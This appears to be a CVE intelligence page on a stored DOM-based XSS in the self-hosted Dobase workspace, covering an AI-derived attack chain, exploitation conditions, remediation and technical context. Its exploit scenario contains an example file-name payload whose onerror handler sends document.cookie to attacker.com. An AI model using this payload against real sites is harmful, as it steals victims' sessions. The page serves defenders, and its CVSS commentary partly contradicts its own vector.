Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
ReconAuthenticate as workspace member
-
DeliveryUpload maliciously named file to shared folder
-
ExploitEnable public sharing on folder
-
InstallDeliver public gallery link to target
-
C2Target visits unauthenticated share URL
-
ExecuteStimulus controller decodes data-name and writes to innerHTML
-
ImpactInline handler executes, exfiltrating victim session data
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | The attacker must be an authenticated Dobase workspace member with permission to upload files to a shared Files folder and enable public sharing on that folder - a PR:L precondition. Victim-side exploitation requires only that the victim visits the public share link (UI:P), which is unauthenticated and requires no additional privileges. The Content-Security-Policy must be in report-only mode (the default in affected versions) for inline event handlers to execute; an enforced CSP blocking unsafe-inline would prevent execution. Limiting factors: attacker workspace account is required to plant the payload; self-hosted deployment means exposure is confined to instances accessible from the internet or internal network. |
| Impact | The CVSS 4.0 score of 6.4 with SC:H/SI:H captures high impact to the victim's browser session (subsequent system) while correctly assigning no impact to the Dobase server itself (VC:N/VI:N/VA:N). Real-world risk is shaped by two gates: first, the attacker must hold an authenticated workspace member account to upload and share the malicious file (effectively PR:L in attack chain terms); second, the victim must open the public share link, which requires only passive interaction (visiting a URL). The report-only CSP is an architectural amplifier - a properly enforced CSP blocking unsafe-inline would have neutralized this entirely, and its absence converts a theoretically mitigated XSS into a fully executing one. EPSS data is absent from the intelligence set, and there is no CISA KEV listing, indicating no confirmed widespread exploitation at this time. Dobase is an obscure self-hosted product with a narrow deployment footprint, limiting aggregate real-world impact despite the technical severity. The GitHub advisory provides sufficient mechanistic detail for an attacker to reconstruct the exploit without a dedicated POC. |
| Exploit ScenarioDerived | An authenticated Dobase workspace member renames a file to a string containing an injected payload such as x.png<img src=x onerror=fetch('https://attacker.com/?c='+document.cookie)>, uploads it to a shared Files folder, and distributes the public gallery URL. When an unauthenticated victim opens the URL, the public-gallery Stimulus controller decodes the data-name attribute value and writes it to innerHTML; the browser parses the injected img tag, triggers the onerror handler, and the attacker receives the victim's session cookies or authentication tokens. The report-only CSP provides no enforcement, so no user-visible warning or block occurs. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Sep 11, 2026
Stored DOM-based XSS in Dobase prior to 2026.06.03 allows any authenticated workspace member to persist an executable JavaScript payload in the public, unauthenticated shared-folder image gallery by crafting a malicious file name. The public-gallery Stimulus controller reads the filename from a data-name HTML attribute via el.dataset.name (which HTML-decodes it) and injects the raw value into innerHTML without sanitization, converting a server-side ERB-escaped attribute back into an executable sink. Critically, the application's Content-Security-Policy is deployed in report-only mode rather than enforcement, so inline onerror handlers execute freely against any unauthenticated visitor who opens the public share link. No public exploit code or CISA KEV listing has been identified at time of analysis.
RemediationAI
Upgrade to Dobase version 2026.06.03 or later, which resolves the innerHTML injection in the public-gallery Stimulus controller as described in the GitHub Security Advisory GHSA-m95v-4xq6-grhg (https://github.com/smgdkngt/dobase/security/advisories/GHSA-m95v-4xq6-grhg). If immediate upgrade is not feasible, disable or revoke access to public folder sharing for all workspace members to prevent the vulnerable gallery endpoint from being exposed to unauthenticated users - this eliminates the attack surface but removes shared-gallery functionality. As a secondary, partial compensating control, switch the Content-Security-Policy from report-only to enforcing mode with a directive blocking unsafe-inline scripts; this would prevent inline onerror handlers from executing, significantly reducing exploitability. Note that enforcing CSP may break other inline script dependencies in the application and should be tested before rollout. Patching remains the only complete remediation.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
Dobase is a self-hosted open-source workspace application (CPE: cpe:2.3:a:smgdkngt:dobase) that exposes a public, unauthenticated image gallery for shared Files folders. The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation) and is specifically a stored DOM-based XSS. The server-side ERB template correctly HTML-escapes the filename into a data-name attribute, giving a false appearance of sanitization. However, Stimulus (a lightweight JavaScript framework using HTML attributes as data carriers) decodes that attribute back to its raw value via the browser's dataset.name API, and the public-gallery controller then re-injects that decoded value directly into innerHTML - a well-known unsafe DOM sink. Because this decode/re-inject cycle happens entirely in the browser, server-side output encoding is bypassed by design. Compounding the issue, the application ships a Content-Security-Policy in report-only mode, which logs violations but does not block execution of inline event handlers such as onerror, making what might otherwise have been a CSP-mitigated injection an actively executing XSS.
Know when Dobase gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N
Planting the payload requires an authenticated workspace member (PR:L); victim must visit the link (UI:R); executing XSS gives full C:H/I:H impact on victim's browser session (S:C).
Primary rating from Vendor (GitHub_M).
CVSS VectorVendor: GitHub_M
Lifecycle Timeline
1DescriptionCVE.org
Dobase is an open-source, self-hosted workspace with installable tools. Versions prior to 2026.06.03 have a one-click stored DOM-based cross-site scripting (XSS) vulnerability in the public, unauthenticated shared-folder image gallery. A file's name is fully attacker-controlled and is never sanitized. It is round-tripped through an ERB-escaped data-name attribute, decoded back to its raw value by el.dataset.name, and then re-injected into innerHTML by the public-gallery Stimulus controller with no escaping. Any authenticated workspace member who can share a Files folder can store a payload; the victim is anyone with the public share link (no authentication required). The global Content-Security-Policy is sent report-only (not enforcing), so an inline onerror handler executes - this is an executing XSS, not a CSP-mitigated injection. Version 2026.06.03 fixes the issue.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
EUVD-2026-76695
NVD
CVE.org
EPSS
Vulnrichment
GitHub
Exploit-DB